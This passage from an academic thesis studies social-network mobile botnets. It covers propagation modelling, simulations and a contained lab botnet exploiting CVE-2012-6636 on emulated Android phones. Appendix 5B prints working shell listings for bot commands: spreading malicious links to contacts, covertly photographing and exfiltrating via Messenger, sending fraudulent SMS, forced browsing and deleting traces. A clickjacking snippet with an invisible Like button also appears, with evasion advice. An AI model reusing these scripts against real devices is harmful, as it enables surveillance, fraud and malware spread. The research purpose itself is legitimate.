dramatic, up to four times (3,441 users vs. 868 users when q = 20%).

In other words, the RFS scheme leads to faster propagation than the TDFS scheme. This

result can be explained by the assortativity, or assortative mixing, of social networks [151].

Assortativity is a preference for a network’s nodes to attach to others that are similar in

some way, in this case, a node’s degree. (A popular person in a network is highly likely

to be connected to another popular person.) This preference results in high degree nodes

being connected to each other. This will lower the chance of getting new infections because

many of the top degree nodes’ friends are common friends among them. On the other hand,

by randomly selecting friends we lower the chance of getting common friends and enable

the malware to propagate faster.

When running Experiment 3 above, we also recorded the total number of messages M

sent by all infected phones via the OSN and the total number of non-duplicate messages R

accepted by the users for both the RFS and TDFS schemes. In general, the graphs in Fig.

5.5(d) show that M increases linearly as q increases while R does not show a significant

change over different values of q. We also observe that, given a q value, both RFS and

TDFS scheme incurs roughly the same messages sent and received (i.e., M and R values of

the RFS and TDFS scheme are close to each other). This observation reveals an important

fact that the RFS is more efficient than TDFS in the sense that with the same number of

messages being sent and received, RFS infects more cell phones than the TDFS.

In summary, RFS based and TDFS based botnets send roughly the same number of

messages to infect cellular phones, but a RFS-based botnet can infect far more users than

a TDFS-based botnet within the same amount of time.

Scenario 4

In scenarios 1,2 and 3, we assumed that p = 1. In practice, p < 1 due to users being more

cautious or not vulnerable to the malware. We repeated Experiment 1 for RFS scheme with

q = 50% (i.e. randomly selecting half of a user’s friend to send a malicious message) and
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Figure 5.5: The third set of experiments (p = 1)
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Figure 5.6: Bot recruitment simulations

p = 0.25, 0.5, 0.75, 1. The graphs in Fig. 5.6(a) show that as p increases, more users click

on the malicious link, making the malware propagate faster (i.e., requires less hops to infect

the same number of victims). For instance, it takes roughly three hops when p = 1 and five

hops when p = 0.5 to infect approximately 2,000 users. The result also demonstrate that,

within a few steps (4 to 5 hops) from the first victim, a SoCellBot botnet can infect more

than half of the population.

The graph in Fig. 5.6(b) shows that function N(t) reaches the maximum value when t is

4, 5 or 6 (points X, Y, Z and W), consistent with the six degree of separation phenomenon

discussed above.

In the next section, we model the propagation dynamics of a cellular botnet. Modeling

the propagation dynamics and understanding the recruitment process from the theoretical

aspect, helps us better estimate the potential damage a cellular malware can cause.

5.5 Modeling the Propagation of SoCellBot

In Section 5.2.1 we have described the way a malware propagates via a social network to

infect cellular phones and recruit bots. Mobile devices are recruited into a botnet by running

malicious software. This is done by exploiting a vulnerability either at the operating system

level or at the application level. In this section, we model the recruitment phase and the

malware propagation phase in social networks to recruit bots.
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5.5.1 Model Description

We assume the bot infection process described in Section 5.3.2 on a connected graph rep-

resenting a social network. In the first step, the botmaster creates a fake user profile that

will act as the infiltrating node. Then, the botmaster posts one or more eye-catching web

links on the infiltrating node’s wall to “recruit” the node’s friends. If a friend Y of the

infiltrating node is vulnerable (i.e., not having an effective antivirus program) and clicks on

the link(s), Y will become infected. The malware then automatically posts the malicious

link(s) on Y’s wall to “recruit” Y’s friends, and the propagation cycle continues with these

friends.

We define a botnet propagation tree (BPT) as a tree rooted at the infiltrating node.

In a PPT, each node u represents a bot (an infected user) and v is a child of u if v is a

friend of u’s in the OSN and u infected v (i.e., v clicked on a malicious link posted on u’s

wall and got infected). The resulting BPT is thus a subgraph of the original OSN graph,

representing the infection chain among friends (i.e., who infected whom).

To construct a BPT from an OSN graph, after all the potential vulnerable nodes are

infected and recruited into the botnet, we remove the users that are not infected and their

dangling edges from the network graph. The remaining nodes and edges will form a BPT.

To visualize the propagation, we assume the users are infected in “waves”. The depth

of a node in the BPT indicates the wave during which the node got infected. If a user v is

infected in wave i, then v is i hops away from the botmaster’s infiltrating node. (However,

a user that is i hops away from the infiltrating node in a breadth first search [i.e., on a

shortest path to the infiltrating node] may be infected later during a wave j > i via a longer

path having length j from the infiltrating node to v.)

Let Nw denote the number of newly infected users Nw during each wave w, and Tw

denote the total (accumulated) number of infected users at the end of propagation wave w.

That is,

Tw = Tw−1 +Nw (5.1)

Metric Nw can tell us the point in time (the wave) when the botnet achieves its peak

performance, i.e., infecting the most number of cellular phones. In this section, we derive

a mathematical model to compute Nw. Without loss of generality, we assume only one

malicious user infiltrating into the network at the beginning. We extend the model to the

case of multiple infiltrating nodes in Appendix 5A.

Note that there may be multiple paths from the infiltrating node to an infected node in
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(a) Infiltrating node X

and infected users (yel-

low nodes)

(b) The graph is re-

arranged in waves

(c) The resulting botnet

propagation tree

Figure 5.7: Example of a botnet propagation tree

the network graph. For instance, in Fig. 5.7(a), user G may be infected in the fourth wave

by bot E, or in the fifth wave by bot F after F was infected in the fourth wave by bot H.

Let i be the infiltrating node and Ψij denote the set of simple paths from node i to

an infected node j in the social network graph. (There may be multiple paths from node

i to node j with different lengths.) Each path ψij ∈ Ψij is a simple path in the BPT,

representing the chain of infections caused by the malware from node i to node j. Each

edge emn on path ψij indicates that user m infected user n, i.e., m clicked on a malicious

link posted on n’s wall and got infected with a probability pmn. (The value of pmn depends

on several factors such as the trust level between the two users, the level of precaution user

n takes when dealing with suspicious posts, and security measures available on user n’s

mobile phone, e.g., anti-virus software.)

For a botnet using a highly pervasive malware for recruitment, we can assume that

pmn = p ≈ 1. A highly pervasive malware is one that can infect users with high like-

lihood. Such a malware leverages advanced social engineering techniques to trick even

sophisticated computer users into clicking malicious links. In addition, the malware ex-

ploits cross-platform zero-day vulnerabilities (i.e., previously unknown vulnerabilities exist

simultaneously on several platforms such as iOS, Android and Windows Mobile) [152] to

infect a large number of users across various platforms within a short a mount of time.

Assuming p ≈ 1, a user v will be infected as early as possible via the shortest path from

the infiltrating node i to v. Dijkstra’s algorithm computes all the shortest paths from the

infiltrating node i to every other node in O(V 2) time. By assuming the shortest paths, we

can provide a faster estimation of Nw in the case of a widely spread malware.

Let Θi denote the set of shortest paths from node i to all the other nodes (which may
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have different lengths). Let θiw ⊆ Θi be a subset of paths in Θi whose length is w. The

expected number of new infections Nw in each wave w is then calculated as follows:

Nw =
‖θiw‖
‖Θi‖

× V (5.2)

The computational complexity of Nw is thus O(V 2).

5.5.2 Model Validation

To validate the above model, we performed discrete-event simulations using MATLAB and

the social network graph whose parameters are listed in Table 5.1. In all the simulations,

a node in the social network graph is chosen randomly as the botmaster’s fake profile (the

initial seed for infiltration). We mark this node as infiltrating user. Then, the infiltrating

user posts one or more eye-catching web link(s) on her wall to “recruit” her friends. If a

friend Y of the infiltrating node is vulnerable and clicks on the link(s), the friend will become

infected with probability p and the propagation cycle continues with Y ’s own friends.

The probability p reflects the fact that some people may be more cautious than others

and do not follow the link, or are not vulnerable to the exploit or use protective software such

as a strong anti-malware software. Each data point from a graph obtained from simulations

was averaged over 100 runs, each of which started with a different infiltrating node selected

randomly. We measured the total number of newly infected users Nw in each wave w and

also calculated Tw, the total number of users infected at the end of each wave w as defined

in Eq. (5.2).

For p = 0.95 or p ≈ 1, the model closely matches the simulation results, as shown in Fig.

5.8(a) and 5.8(b) for Nw and Tw, respectively. For instance, when w = 4, the Nw values

are 1,452 and 1,423 from the model and the simulation, respectively. The difference is 29,

or 0.7% of the population size. When w = 5, the Tw values are 3,789 and 3,768 from the

model and the simulation, respectively, a difference of 21 or 0.5% of the population size.

5.5.3 Time Analysis

The above model of propagation abstracts the temporal factor using spatial distances be-

tween nodes in the OSN graph. In this section, we provide a stochastic distribution to

estimate the time a malware takes to propagate from wave w − 1 to wave w.

We assume that users visit the social network following a Poisson process with a mean

λ. Therefore, the inter-arrival time of each user is independent and follows an exponential
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Figure 5.8: Propagation of a widely spreading malware (p ≈ 1 )

distribution with mean 1
λ [153]. We are interested in computing the time interval between

two consecutive waves.

As described earlier, in the recruitment phase, each wave w is completed when all friends

of the bots infected in wave w − 1 have viewed the malicious links posted on the walls of

the bots infected in wave w − 1 and acted upon the information.

Therefore, the time interval between wave w− 1 and w is equal to the maximum of the

inter-arrival time of the users who are friends of the users infected during wave w − 1. We

call this value τwmax .

Given that the inter-arrival time of users is independent and follows an exponential

distribution with mean value 1
λ , we compute the distribution of the random variable τwmax ,

which is the maximum of n independent and identical random variables that follow the

exponential distribution. Note that n = Nw for each wave w.

For a maximum of n exponential distributed random variables X with mean equal to
1
λ , we obtain the following distribution using the technique described by Devroye in [154].

fXmax(x) = nλe−λx
(

1− e−λx
)n−1

(5.3)

If we know n and λ, we can calculate the time required to complete each wave (or the

time interval between two consecutive waves) by calculating the expected value of Eq. (5.3).

The values of n = Nw can be computed from Eq. (5.2). The value of λ requires a study of

users’ habits of visiting social networks, which we will carry out as part of our future work.
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5.6 An Implementation and Experimental Results

In addition to the above simulations and modeling, we implemented a botnet whose recruit-

ment is done via a self-propagating benign malware that exploits an existing vulnerability

(vulnerability CVE-2012-6636 [155]) in a series of Android devices.

The CVE-2012-6636 vulnerability allows untrusted JavaScript code to be executed by

a WebView that has one or more interfaces added to it. This vulnerability affects Google

APIs 4.1.2 and below. In fact, when an application uses the addJavascriptInterface method

to attach an interface to a WebView, it is breaking through the browser sandbox isolation,

giving the application permission to access system resources, such as accessing to the SMS,

contact list, files and databases [156].

We created a small social network using HumHub [157] to propagate our benign mal-

ware via exploiting CVE-2012-6636. (We also demonstrate the feasibility of using an OSN

messaging system as a means to propagate and deliver C&C messages in Appendix 5B of

this chapter.)

HumHub is an open-source software framework that provides tools to create customized

social networks. (HumHub users can follow each other like Twitter users. The representative

graph of a Humhub social network is thus directional, while our work in this chapter assumes

undirectional graphs for social networks such as Facebook. To resolve this problem, in our

Humhub social network, we let a user A follow a user B if B follows A. As a result, our

Humhub network graph can be considered to be undirectional.)

Figure 5.9 depicts the system we implemented, which consists of four following major

components:

Victim 
(Emulated Android)

Attacker
HumHub OSNMalicious Host

Infiltrated 
(Emulated Android)

123

4

ABCDE

Figure 5.9: The diagram of implemented system

• A: The Attacker: A human user (attacker) who controls the infiltrated profiles and

victims’ phones via the HumHub OSN.
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• B: The Infiltrated Profile: A fake user who is controlled by the attacker. Infiltrat-

ing nodes try to befriend as many real users as possible, in order to start propagation

of malware.

• C: The HumHub OSN (Propagation and C&C Channel): A social network

having 30 members, implemented using HumHub on a local network. The Humhub

server hosts the users’ profiles and their contents. The implemented Humhub social

network functions in a similar way to large OSNs such as Facebook. This website is

used by the attacker to propagate malware and also to deliver C&C messages.

• D: The Victims: The victims’ mobile sets are emulated using Android Emulator

[158] running Android version 4.1.2. Each user is associated with an emulated mobile

set and a HumHub profile.

• E: The Malicious Host: The malicious host is implemented using MetaSploit

Framework (MSF) [159] to deliver CVE-2012-6636 exploit code, along with the mal-

ware payload.

Prior to launching the attack, the botmaster creates a fake profiles to infiltrate into the

social network along with a malicious website that hosts the malware. In the first step, the

botmaster posts the URL of the malicious page on the infiltrating HumHub profile (see Fig.

5.10). In the second step, a friend of the infiltrating node sees the URL and will click on

it. In the third step, the friend’s Android browser runs the exploit code upon visiting the

malicious host, and received the malware payload. Finally in the fourth step, the malware

forces the smartphone to look for the botmaster’s C&C messages delivered via the HumHub

OSN.

In order to receive command and control messages via the HumHub OSN through in-

tercepting web traffic, the malware needs to escalate its privilege to the “root” level. A

successful attacker who had already gained access to a mobile device, e.g., via exploit-

ing CVE-2012-6636 vulnerability, can further escalate his/her privileges to gain root ac-

cess [160] using one of the methods described by Bergman in [144]. For instance, Gin-

gerbreak, a method discussed in [144], was used by a high-profile Android malware called

RootSmart [109], [110], [111].
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Figure 5.10: The HumHub interface - Infiltrating node posts a malicious link

The bot then intercepts traffic in order to communicate with the bot master (e.g., to

receive bot commands) and to propagate the malware via posting malicious contents. Given

enough privilege, the bot (the malware) is able to modify existing settings to intercept web

traffic [161]. By intercepting web traffic, the botmaster is able to hijack the infected user’s

account credentials and post on the user’s wall/profile. Intercepting browser traffic has been

used recently to propagate malware in social networks [162].

In this implementation, in order to propagate the malware, the botmaster forces a bot

to Forward a URL in a particular private or group message to the bot’s friends using the

following syntax, under subject BCOMM:

BCOMM FRWRD BDY:“MessageBody” URL:MaliciousURL

After receiving the bot commands (See Fig. 5.11(a)), the bot sends a post request to

the HumHub’s /post/post/post web service, using the credentials hijacked through traffic

interception in order to post the malicious URL on the victim’s wall (See Fig. 5.11(b)).
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(a) A FRWRD bot message received (b) Malicious link posted on the vic-

tim’s wall

Figure 5.11: The malware posts the malicious link on a victim’s wall.

In our experiment, after the smartphone becomes infected, a FRWRD command is

sent automatically to further propagate the malware.

Figure 5.12 illustrates the result of our experiment using the above system and a Humhub

social network having 30 users. The graph shows the total number of infections as a function

of the number of visits made by the Humhub users. Each time a user visits the social network

and sees the malicious URL (as shown in Figure 5.11(b)), he clicks on the URL and gets

infected by the malware. The malware then posts the malicious URL on the infected user’s

wall, which will be followed by a friend of the user’s in the next visit. This process continues

until all 30 users get infected. As the graph shows, it took only about 140 visits to the social

network for all the 30 mobile devices to be infected. More importantly, the trend in this

graph is consistent with that in the graph in Figure 5.3(a), indicating that the experimental

result matches the simulation results.
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Figure 5.12: Experimental results obtained from the HumHub social network

The above simulation and experimental results show that within a few steps (4 to 5

hops) of the first infiltrating node, a SoCellBot botnet can propagate a malware and infect

more than half of the population (see Fig. 5.3(a)). Counter-measures against malware

propagation that could be implemented by a cellular network provider are (1) to inspect

messages going through the cellular network for malicious contents, and/or (2) to inspect

users’ traffic patterns for anomaly. The first method is not possible in the case of a SoCell-

Bot botnet because messages generated by Facebook (or other OSNs) are encrypted. The

second method requires training phases and may suffer from false positive reporting [163].

Furthermore, using the selective forwarding scheme described in Section 5.4.3, a botmaster

can lower the chance of being detected by mixing malicious contents with regular traffic by

forwarding only few malicious messages at a time.

Therefore, the burden of detecting malware is now placed upon OSN administrators.

Currently, it is a common practice by administrators of OSNs such as Facebook to performs

real-time checking on every read and write post. That amounts to 25 billion posts checked

per day, which reaches 650,000 posts checked per second at its peak [34]. Given a huge OSN

such as Facebook, currently having more than one billion active users and growing, this

practice is not very resource efficient. Instead of this exhaustive checking method, several

methods based on selective monitoring have been proposed for social networks [94], [37],

[36], [28]. Using these selective monitoring methods, we select only a set of important users

in the network and monitor their and their friends’ activities and posts for malware threats.

These methods differ in how the set of important users is selected. In the next section,

we present a study of several selective monitoring schemes. In particular, we evaluate and
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compare their effectiveness in terms of malware detection in OSNs.

5.7 Chapter Summary

We present the design, implementation and evaluation of a new mobile botnet that exploits

online social networks to transmit commands and control messages. This type of bot-

net is more suitable for mobile botnet communications than the traditional SMS in terms

monetary cost, robustness, detectability, propagation speed, reachability, and traffic load.

Following are the contributions of this chapter:

• Our comprehensive simulation-based analysis examines various strategies a SoCellBot

network can use to maximize the number of bots recruited within a short amount of

time, while minimizing the risk of being detected.

• We provide an analytical model to estimate the number of new infections caused by

a highly pervasive recruitment malware in O(V 2) time, where V is the total number

of nodes in the social network graph. The results from the proposed analytical model

closely match the simulation results.

• We show a real-world implementation of this botnet on a small-scale social network,

which exploits an existing vulnerability in a series of Android devices. The experi-

mental results from this implementation also match the simulation results.

To the best of our knowledge, our SoCellBot mobile botnet design is the first that

exploits OSNs to propagate and transmit commands and control messages, and considers

the characteristics of real social networks (i.e., low average network distance, high clustering

co-efficient, and power-law distributed node degrees).
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Appendix 5A - Extension to the Proposed Model: Multiple

Attackers

In a more sophisticated attack, there may be multiple fake profiles (attacker nodes) infil-

trating into a social network at the same time. To model the propagation of a recruitment

malware in a scenario with multiple infiltrating nodes, we propose the following algorithm

to estimate the number of new infections Nw in each wave. If we assume a highly pervasive

malware, then each user v will be infected after dv hops from one of the attackers, where

dv is the shortest distance from v to any of the attackers. In this case, the wave number w

ranges from 1 to d, the network diameter.

We create a vector of d elements {k1, k2, . . . , kd} and initialize all elements to zero.

Assume that there are m attackers a1, a2, . . . , am. For each user v in the network, we

calculate the shortest path from v to each attacker ai, i = 1, 2, . . . ,m. Let dv,ai denote

the length of this shortest path. We find the minimum of all the dv,ai values; that is,

j = min
i=1...m

{dv,ai}. We then increment variable kj by one.

After the algorithm terminates (i.e., all nodes have been processed as described above),

we have Nw = kw, where w = 1, 2, . . . , d. Note that
∑d

j=1 kj = V −m.

To validate the above algorithm, which estimates the value Nw when there are multiple

attackers, we performed simulations using the same setup and parameters as described in

Section 5.3. The only difference is that in this experiment we randomly selected five nodes

to be the attackers infiltrating into the network (m = 5). We plotted the graphs of Nw as

the waves progress for q = 0.95 (see Fig. 5.13). The graphs show that the model closely

follows the simulation results. For example, when w = 2, the Nw values are 2,153 and 2,259

from the model and the simulation, respectively, a difference of 372 or 372/4, 039 ≈ 2% of

the population (Fig. 5.13).

Appendix 5B - An Implementation using Facebook Messenger

In order to demonstrate the feasibility of using OSN messaging systems to propagate and

deliver command and control messages, we implemented a botnet whose recruitment is

done via a self-propagating benign malware that leverages Facebook Messenger to deliver

command and control messages. Similar to the approach discussed in Section 5.6, the

malware exploits an existing vulnerability in a series of Android devices (CVE-2012-6636)

[155].

In order to use an OSN messaging system to send and receive bot commands, the
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Figure 5.13: The case of multiple attackers (5 attackers, q = 0.95 )

botmaster needs to escalate his/her privilege to the root level. Bergman [144] discusses

several methods of privilege escalation to gain root access after exploiting CVE-2012-6636.

It is common for an Android malware to escalate its privilege after gaining access to a

mobile phone. Zhou and Jiang [106] stated that around one third of their 1,260 collected

malware sample (36.7%) leverage kernel-level exploit to gain root level access after infection.

RootSmart and DroidDream are two of the high-profile mobile botnets that escalate their

privilege after infecting mobile phones to gain root-level access [109], [110], [111].

Propagation Mechanism

We did not deploy out bots via exploiting CVE-2012-6636 on Facebook (or Twitter) as we

may accidentally impose security threats to real-life users otherwise. Furthermore, Facebook

and Twitter do not allow users to propagate malicious codes on their platforms, as stated in

their terms of service [164], [165]. In order to contain the experiment and to ensure that no

real-life user would be affected by our benign malware, we created 10 Facebook accounts and

hosted the malicious page on our local laboratory server, only accessible via our emulated

Android systems while developing this proof of concept (PoC). Our implementation involves

the following components:

• A: OSN: We created a tiny social network with 10 Facebook users, including the

botmaster. The users are connected to each other using the algorithm defined by

[44] with an average degree of 4.2. The users are logged into 10 different Facebook
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Figure 5.14: A contained Facebook community used to test the propagation of malware

Messenger accounts, installed on Android emulators. Figure 5.14 shows the OSN

network using the created profiles.

• B: Exploit Page: The botmaster hosts a page on an address (in our case, a local ad-

dress) that exploits CVE-2012-6636 vulnerability which pushes (“drops”) the malware

payload into the mobile phone.

• C: Mobile Sets: The mobiles sets are emulated Nexus S using Android Emulator

[158] running Android version 4.1.2. Each user is associated with an emulated mobile

set. The users use the native Android browser. Each user has a Facebook Messenger

application installed on his/her Android device.

• D: The Command and Control (C&C) Channel: The botmaster communicates

with bots via Facebook Messenger using the “dropped” malware.

Prior to launching the attack, the botmaster creates a web page that contains the CVE-

2012-6636 exploit code. In the first step, using an infiltrated profile, the botmaster posts

the URL of the exploit page to her friends via a group OSN messenger chat. In the second

step, a friend of the infiltrating profile sees the URL and will click on the link. In the third

step, the friend’s Android browser runs the exploit code which would drop the payload into

the infected Android. Finally in the fourth step, the bot would wait to receive commands

from botmaster through Facebook Messenger.
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C&C Implementation

In our implementation, a bot uses Facebook Messenger to receive commands and con-

trol messages. In order to receive commands, the bot monitors one of the locally stored

databases on the infected Android phone, created by Facebook Messenger to cache the

existing Messenger’s conversations (“chat”). This databases is called threads db2 and is lo-

cated at data/data/com.facebook.orca/databases. This database is not encrypted and does

not requires credentials to get access to.

In particular, the bot monitors the threads table where column thread key equals to

“ONE TO ONE:BMasterID:VictimID”. The BMasterID and VictimID represent the unique

Facebook ID of the botmaster and the infected Android user, respectively. The bot monitors

this table and extracts the commands that are sent to execute them.

For the purpose of this PoC, we designed five commands for bots to receive. In our

future work, we will expand the botnet capabilities to perform other tasks as well, based

on different Android models.

Following are high-level descriptions of the five commands:

1. Forward: Forward a malicious URL to all the friends

2. Capture: Take a photo with the smartphone’s camera and send it back to the bot-

master

3. SMS: Send a particular text to a number using SMS (e.g., for fraud or advertisement

purposes)

4. Browse: Force the smartphone to visit a page

5. Delete: Delete the commands sent by the botmaster to avoid detection

Following are the detailed description of each command and its implementation on a

Nexus S running Android 4.1.

1. Forward: This command is used to forward a (malicious) URL (MaliciousURL) inside

a message (SampleBody) to all of the infected user’s friends. The syntax of the command

is as follows:

BComm FRWRD BDY:“SampleBody” URL:“MaliciousURL”

To implement the command, the bot needs to pull out the list of infected user’s friends

from a locally stored database on the infected Android device. This database called con-

tacts db2, is created by Facebook Messenger app to cache Messenger contact information.
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This database is located in data/data/com.facebook.orca/databases folder and stores infor-

mation in plain text. Within this database, there is a table called “contacts” where the

contact information of each friend is stored. The bot then composes a group message and

enters the first name and last name of each friend (retrieved from the “contact” table) in

the TO section of the composed message. At the end, the bot puts the SampleBody along

with the MaliciousURL link (retrieved from the bot command) into the body of the message

and sends it to the infected user’s friends. The following script shows the implementation

of this method on our Android model:

Listing 5.1: FRWRD command implementation

1 sqlite3 contacts_db2 "select first_name || ’%s’ || last_name from contacts;" >

flist.txt && am start -a android.intent.action.VIEW -d fb-messenger://compose

&& while read names; do ^J input text "$names" ^J input keyevent 92 ^J sleep

0.5 ^ input keyevent 61 ^ sleep 0.5 ^J done < flist.txt && input keyevent 61

&& input keyevent 61 && input keyevent 61 && input keyevent 61 && input text

SampleBody && input keyevent 62 && input text MaliciousURL && input keyevent

61 && input keyevent 61 && input keyevent 61 && input keyevent 61 && input

keyevent 61 && input keyevent 61 && input keyevent 66

2. Capture: This commands forces the smartphone to take a picture and send it back to

the botmaster with the following syntax:

BComm CPTR

To implement the command, the bot opens up a chat message with the botmaster,

activates the camera button via a simulated tap action on the screen, takes a picture and

sends it to the botmaster. The following script shows the implementation of this command,

where BMasterID represents the unique Facebook ID of the botmaster:

Listing 5.2: CPTR command implementation

1 am start -a android.intent.action.VIEW -d fb-messenger://user/BMasterID/ && input

tap 150 750 && input tap 250 750

3. SMS This command forces the smartphone to send a text message to a number via

SMS (e.g., for fraud or advertisement purposes). This command uses the following syntax:

BComm SMS:PhoneNo Body:TextBody

The following script shows the implementation of this command, where PhoneNo and

TextBody represent the phone number and the message to be sent, respectively.
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Listing 5.3: SMS command implementation

1 am start -a android.intent.action.SENDTO -d sms:PhoneNO --es sms_body TextBody &&

input keyevent 61 && input keyevent 66

4. Browse This command forces the smartphone browser to visit a page. This command

could be used to launch denial of service attacks against a particular website, or to make

money through advertisement fraud [166]. The botmaster sends the following command to

the bot, in order to force them to visit a web page:

BComm BRWS URL:PageToVisit

The bot implements the following method to force the browser to visit a page:

Listing 5.4: BRWS command implementation

1 am start -a android.intent.action.VIEW -d PageToVisit

5. Delete This command forces the Facebook Messenger to delete the conversation between

the bot and the botmaster in order to avoid detection in the future.. Although this method

should always be called after each command, there are cases where the botmaster may want

to make sure that all past commands and responses are deleted. The syntax to invoke this

command is as follows:

BComm DEL

The following method implements the removal of the conversation from all the Facebook

views, including Facebook Web Messenger.

Listing 5.5: DEL command implementation

1 am start a android.intent.action.VIEW d fb-messenger://threads && sendevent

/dev/input/event0 3 0 388 && sendevent /dev/input/event0 3 1 160 && sendevent

/dev/input/event0 1 330 1 && sendevent /dev/input/event0 0 0 0 && input

keyevent 62 && input keyevent 20 & input keyevent 20 && input keyevent 66 &&

input tap 320 550

We conducted our experiment using the social network shown in Fig. 5.14. In the

first step, the infiltrating node controlled by the botmaster posted the malicious link via a

composed message. An Android phone user received the message, clicked on the malicious

link and became infected by the “dropped” malware. The same cycle continued until all

the Android phones became infected. Our experimental results show that within two steps

of the infiltrating node (the red node in Fig. 5.14), more than 60% of the population were

infected, which is consistent with the result we observed in Section 5.6.
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Chapter 6

Emerging Malware Threats in

OSNs

Online social networks are under constant attacks, and adversaries always try to find new

ways to target OSN users. In this chapter, we will discuss three emerging malware threats

that are currently being leveraged by malware writers in order to facilitate malware prop-

agation in online social networks. These emerging threats are:

1. Clickjacking malware: Clickjacking is an exploit in which multiple transparent or

opaque layers are added to trick a user into clicking on a button or link on another

page while the user meant to click on the currently displayed page. This way an

attacker “hijacks” clicks and routes them to another page.

2. Extension-based OSN malware: This type of malware automatically installs an

extension into the web browser without the user’s knowledge in order to intercept the

user’s social network traffic for malicious purposes, such as hijacking user’s credentials.

3. Magnet malware: Traditional Trojans send malicious links/messages to friends di-

rectly connected to an infected user u (i.e., u’s one-hop neighbors in the network

graph). Magnet can send malicious links/messages not only to the infected user’s

friends but also to their friends (i.e., u’s two-hop neighbors). This mechanism signifi-

cantly speeds up the propagation process of the malware.

Our work in this chapter introduces recent techniques that emerging malware leverages

to propagate themselves in social networks. In particular, we provide a simulation-based

study of clickjacking worms that propagate in social networks. We then review the imple-

mentation of extension-based malware which has become more and more popular. We also
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review a new malware we discovered in a recent attack on Facebook that led to more than

110,000 users infected in less than two days [41].

The remainder of this chapter is organized as follows: in Section 6.1 we will discuss

clickjacking worms, followed by the implementation of extension-based OSN malware in

Section 6.2. We study Magnet malware in Section 6.3 and finally we conclude this chapter

in Section 6.5.

6.1 Clickjacking Worms

Clickjacking (also called UI redress attack) is the malicious practice of manipulating a

website user’s activity by hiding web-links under a legitimate clickable content, causing the

user to perform actions of which he/she is unaware. For example, the user thinks he is

clicking on a playback button to play a YouTube video clip while he is actually clicking on

an invisible “Like” (or “Shared”) button placed on top of the playback button. This action

automatically posts a link to the spam site to the user’s Facebook news feed, which will be

shown to all his friends. The unintended “Like” action and the spam link will make the

user’s friends think that he has recommended the video, and many of them may follow the

link to see the video. Figure 6.1 illustrates the process of a clickjacking malware propagation.

The process continues until the malware is discovered by the OSN administrator and the

spam links are removed, or the attacker stops the process himself (e.g, by removing the

spam page containing the video).

The impacts of clickjacking worms can range from benign to harmful outcomes to vic-

tims. When a user unknowingly visits a web site, the attacker can make money through

affiliated advertising programs. The more people “like” and subsequently visit the page,

the more profit the attacker makes. A clickjacking worm can also trick users into enabling

their webcams, invading their privacy [15]. In more serious attacks, clickjacking worms can

redirect people to malicious web pages that host malware, which will be installed on the

victims’ computers using drive by download techniques.

There has not been any in-depth research on clickjacking worms and their propagation

dynamics in online social networks. In fact, to the best of our knowledge, the work presented

in this chapter is the first that studies the propagation dynamics of clickjacking worms in

online social networks.

We identify two major factors that have significant effects on the clickjacking worm

propagation speed (infection rate) in an OSN. They are (1) user behavior, namely, the

probability of following a posted link and (2) the highly clustered structure of communities.
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Figure 6.1: Self propagating process of clickjacking malware

We conducted simulations on a real-world Facebook subgraph to study the propagation

characteristics of clickjacking malware in an OSN.

6.1.1 ClickJacking Worms: Implementation and Propagation

In this subsection, we discuss how a clickjacking malware can be implemented and propa-

gated in an OSN. An attacker first creates fake profiles to infiltrate into a social network.

Using the fake profiles, they try to befriend as many real users as possible in order to spread

a malware as widely and quickly as possible via these “friendships” and “Like” or “Shared”

features.

The attacker then creates an enticing web page to lure people into viewing them. This

web page, for example, may contain latest updates on breaking news, gossips on celebrities,

exclusive video clips, or promotional items (e.g., coupons and free gift cards, which may or

may not be given out). Listing 6.1 shows a code snippet in which the attacker embeds a

YouTube video with a playback button (see Part 1 of the listing 6.1).

In the second part, the attacker places a Facebook “Like” button on top of the playback

button (see Part 2). For example, assume that the playback button is located at the

coordinate (x, y) on the web page. The attacker will set the <fb> tag position in the style

to place the “Like” button exactly at coordinate (x, y) (not shown here). To make the

“Like” button invisible, its opacity is set to zero.

The attacker then clicks on the “Like” button, as a result, the attacker’s liked post

will be shown post in the attacker friends’ news feeds. When his friends see the “Like”

post, they will click on the link, which leads them to the video. When a user clicks on the

playback button to view the video, she is actually clicking on the “Like” button. Her friends
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Listing 6.1: Clickjacking worm code snippet

1 <--! Part1: Showing the video underneath the hidden like button -->

2

3 <iframe width="640" height="410" frameborder="0" allowfullscreen=""

allowtransparency="true" src="Youtube.com/avideo.html" style="z-index:-1">

4

5

6 <--! Part2: Making the like button hide and put it on top of the play button -->

7

8 <fb:like id="fblike" href="currentsite.com/currentpage.html"

style="opacity:0;filter:alpha(opacity=0);">

will see her (unintended) recommendation posted on her new feed and follow the same link.

This process continues until the malware is detected and removed, or the attacker stops the

propagation himself.

Sometimes, after the user clicks on the invisible button and realizes that no action is

performed (e.g., the video is not played, or the next photo is not shown), they keep clicking

on the button. To prevent users’ frustration and suspicion (which eventually leads them

to reporting the spam site to the network administrator or the anti-virus software), the

attacker should write better code so that, after the first click, the invisible “Like” button

will be removed to let the user click on the actual playback button. As a result, the user

will see the video played and would think that the first click was not performed properly.

Facebook recently implemented some countermeasures to combat clickjacking worms.

If the URL of a web page is deemed suspicious, Facebook will ask a user to confirm her

“Like” action before a recommendation (and thus the spam link) is posted on the user’s

news feed. This countermeasure can prevent a clickjacking malware from self propagating

in some cases (e.g., well known malicious web sites that are black listed). Web sites or

applications registered with Facebook are deemed legitimate and are not subject to “Like”

action confirmation. Therefore, an attacker could register his application or web page to

make it legitimate, and put the registration ID in the script in order to bypass the screening

for “Like” confirmation. (Registering an application requires the attacker’s personal infor-

mation such as name, phone number and mailing address. Stolen personal information can

be bought cheaply on the black market for the purpose of registration.)

Moreover, clickjacking worms can propagate through other means outside social net-
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works such as through email or online forums. Clickjacking worms propagate in similar

manner to the Trojans. Therefore, the model discussed in Chapter 4 applies here as well.

We use simulation studies to highlight the characteristics that are specific to clickjacking

worms.

6.1.2 ClickJacking Worms: Simulation Model and Parameters

In several OSNs such as Facebook, LinkedIn, Orkut, and hi5, the relationship (friendship)

between two users is mutual. As discussed in Section 2, such an OSN can be represented by

an undirected graph G = (V,E) in which each vertex (or node) v ∈ V represents a user, and

an edge e ∈ E between two vertices indicates the existence of a relationship (friendship)

between the two respective users. In this chapter, we consider only OSNs that can be

represented by undirected graphs.

For the clickjacking malware simulations in this section, we used the Facebook social

network graph constructed by McAuley and Leskovec [46] that possess all the characteristics

of a social network, i.e., low average network distance, power-law degree distribution and

high clustering coefficient which were discussed in Section 2.

The parameters and characteristics of this OSN graph are listed in Table 6.1. We also

created an equivalent random graph (ERG) corresponding to the Facebook graph using

the algorithm proposed by Viger and Latapy [3]. The random graph has the same node

degree distribution as the equivalent Facebook graph. However, the other parameters may

